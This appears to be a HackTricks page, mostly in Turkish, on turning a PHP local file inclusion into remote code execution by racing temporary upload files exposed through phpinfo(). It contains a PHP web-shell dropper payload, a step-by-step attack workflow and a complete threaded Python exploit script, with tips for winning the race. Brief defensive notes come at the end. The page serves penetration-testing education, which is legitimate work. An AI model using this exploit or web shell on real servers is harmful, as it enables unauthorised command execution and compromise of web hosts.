hacktricks/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md

157 lines
7.8 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# LFI to RCE via PHPInfo
{{#include ../../banners/hacktricks-training.md}}
Bu tekniği istismar etmek için aşağıdakilerin tümüne ihtiyacınız var:
- phpinfo() çıktısını yazdıran erişilebilir bir sayfa.
- Kontrolünüzde bir Local File Inclusion (LFI) primitive'i (ör. kullanıcı girdisinde include/require).
- PHP dosya yüklemelerinin etkinleştirilmiş olması (file_uploads = On). Herhangi bir PHP scripti RFC1867 multipart yüklemelerini kabul eder ve her yüklenen parçaya geçici bir dosya oluşturur.
- PHP worker'ın yapılandırılmış upload_tmp_dir'ye (veya varsayılan sistem geçici dizinine) yazabilmesi ve LFI'nizin bu yolu include edebilmesi gerekir.
Klasik write-up ve orijinal PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Orijinal PoC ile ilgili notlar
- phpinfo() çıktısı HTML olarak kodlandığı için "=>" oku genellikle "=>" şeklinde görünür. Eski scriptleri yeniden kullanıyorsanız, _FILES[tmp_name] değerini ayrıştırırken her iki kodlamayı da aradıklarından emin olun.
- Yükü (payload, PHP kodunuz), REQ1 (padding dahil phpinfo() endpoint'ine yapılan istek) ve LFIREQ (LFI sink'inize yapılan istek) uyarlamanız gerekir. Bazı hedefler null-byte (%00) terminatöre ihtiyaç duymaz ve modern PHP sürümleri bunu dikkate almaz. LFIREQ'i hedefteki vulnerable sink'e göre ayarlayın.
HTML-encoded oku eşleştirmek için örnek sed (sadece gerçekten eski Python2 PoC'yu kullanıyorsanız):
```
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
```
## Teori
- When PHP receives a multipart/form-data POST with a file field, it writes the content to a temporary file (upload_tmp_dir or the OS default) and exposes the path in $_FILES['<field>']['tmp_name']. The file is automatically removed at the end of the request unless moved/renamed.
- Hile, geçici dosya adını öğrenip PHP silmeden önce LFI ile onu include etmektir. phpinfo() $_FILES'i, tmp_name dahil, yazdırır.
- İstek header'larını/parametrelerini şişirerek (padding) phpinfo() çıktısının isteğin bitmesinden önceki erken parçalarını client'a flush ettirebilirsiniz; böylece tmp_name'i temp dosya hâlâ varken okuyup hemen o path ile LFI'yi tetikleyebilirsiniz.
In Windows the temp files are commonly under something like C:\\Windows\\Temp\\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.
## Saldırı iş akışı (adım adım)
1) Yarışı kaybetmemek için hızlıca persist eden bir shell sağlayan küçük bir PHP payload hazırlayın (bir dosya yazmak genelde reverse shell beklemekten daha hızlıdır):
```
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
```
2) Payload içeren bir temp dosya oluşturması için phpinfo() sayfasına doğrudan büyük bir multipart POST gönderin. Erken çıktıyı teşvik etmek için çeşitli header/cookie/param değerlerini ~510KB dolgu ile şişirin. Form alanı adının $_FILES içinde ayrıştıracağınız isimle eşleştiğinden emin olun.
3) phpinfo() yanıtı hâlâ stream ediliyorken, kısmi gövdeyi ayrıştırıp $_FILES['<field>']['tmp_name'] (HTML-encoded) değerini çıkarın. Tam mutlak yola (ör. /tmp/php3Fz9aB) ulaştığınız anda LFI'nizi tetikleyip o yolu include edin. Eğer include() geçici dosyayı silinmeden önce çalıştırırsa, payload'ınız tetiklenir ve /tmp/.p.php dosyasını bırakır.
4) Bırakılan dosyayı kullanın: GET /vuln.php?include=/tmp/.p.php&x=id (veya LFI'nizin dahil etmeye izin verdiği başka bir yol) ile komutları güvenilir şekilde çalıştırın.
> Tips
> - Yarışı kazanma şansınızı artırmak için birden fazla eşzamanlı worker kullanın.
> - Genellikle işe yarayan dolgu yerleri: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Hedefe göre ayarlayın.
> - Eğer the vulnerable sink bir uzantı ekliyorsa (ör. .php), null byte gerekmez; include() geçici dosya uzantısına bakmaksızın PHP'yi çalıştırır.
## Minimal Python 3 PoC (socket-based)
Aşağıdaki snippet kritik bölümlere odaklanır ve legacy Python2 script'ine göre uyarlaması daha kolaydır. HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink) ve PAYLOAD'ı özelleştirin.
```python
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=&gt;\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
```
## Sorun giderme
- tmp_name'i hiç görmüyorsanız: phpinfo()'ye gerçekten multipart/form-data ile POST gönderdiğinizden emin olun. phpinfo() sadece bir upload alanı mevcut olduğunda $_FILES'i yazdırır.
- Çıktı erken flush olmuyor: Padding'i artırın, daha fazla büyük başlık ekleyin veya aynı anda birden fazla istek gönderin. Bazı SAPI'ler/buffer'lar daha büyük eşiklere kadar flush etmeyebilir; buna göre ayarlayın.
- LFI yolu open_basedir veya chroot tarafından engellendi: LFI'yi izin verilen bir yola yönlendirmelisiniz veya farklı bir LFI2RCE vektörüne geçin.
- Geçici dizin /tmp değil: phpinfo() tam mutlak tmp_name yolunu yazdırır; LFI'de tam olarak o yolu kullanın.
## Savunma notları
- Üretimde phpinfo()'u asla açığa çıkarmayın. Gerekirse IP/kimlik doğrulama ile sınırlandırın ve kullanımdan sonra kaldırın.
- Gerekli değilse file_uploads'u devre dışı tutun. Aksi halde upload_tmp_dir'i uygulamada include() ile erişilemeyecek bir yola kısıtlayın ve herhangi bir include/require yolunda sıkı doğrulama uygulayın.
- Herhangi bir LFI'yi kritik olarak değerlendirin; phpinfo() olmasa bile başka LFI→RCE yolları vardır.
## İlgili HackTricks teknikleri
{{#ref}}
lfi2rce-via-temp-file-uploads.md
{{#endref}}
{{#ref}}
via-php_session_upload_progress.md
{{#endref}}
{{#ref}}
lfi2rce-via-nginx-temp-files.md
{{#endref}}
{{#ref}}
lfi2rce-via-eternal-waiting.md
{{#endref}}
## Referanslar
- LFI With PHPInfo() Assistance whitepaper (2011) Packet Storm mirror: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
{{#include ../../banners/hacktricks-training.md}}